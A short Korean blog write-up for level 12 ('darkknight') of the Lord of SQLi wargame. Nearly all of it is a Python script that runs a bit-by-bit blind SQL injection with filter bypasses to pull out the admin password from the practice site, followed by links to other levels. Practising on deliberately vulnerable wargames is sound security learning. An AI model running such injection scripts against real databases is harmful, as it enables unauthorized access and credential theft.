본문으로 바로가기

LOS :: 12번 DARKKNIGHT

category Wargame/LOS(rubiya) 2018. 8. 14. 14:02

WRITE UP


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
 
url = "http://los.rubiya.kr/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,9):
   char=""
   for j in range(1,9):
      data['no']="1||id like 0x61646d696e and mid(bin(ord(mid(pw,"+str(i)+",1))),"+str(j)+",1) like 0"
      r1 = requests.get(url, params=data, cookies=session)
      data['no']="1||id like 0x61646d696e and mid(bin(ord(mid(pw,"+str(i)+",1))),"+str(j)+",1) like 1"
      r2 = requests.get(url, params=data, cookies=session)
      if "Hello admin" in r1.text:
         char= char+"0"
      elif "Hello admin" in r2.text:
         char= char+"1"
      else:
         break
 
   char= chr(int(char,2))
   print(char,end='')
   flag = flag + char
 
data['pw']=flag
res = requests.get(url, params=data, cookies=session)
 
if "Clear!" in res.text:
   print("\n[♪] COBOLT Clear!")
 
cs


'Wargame > LOS(rubiya)' 카테고리의 다른 글

LOS :: 14번 GIANT  (0) 2018.08.14
LOS :: 13번 BUGBEAR  (0) 2018.08.14
LOS :: 11번 GOLEM  (0) 2018.08.14
LOS :: 10번 SKELETON  (0) 2018.08.14
LOS :: 9번 VAMPIRE  (0) 2018.08.14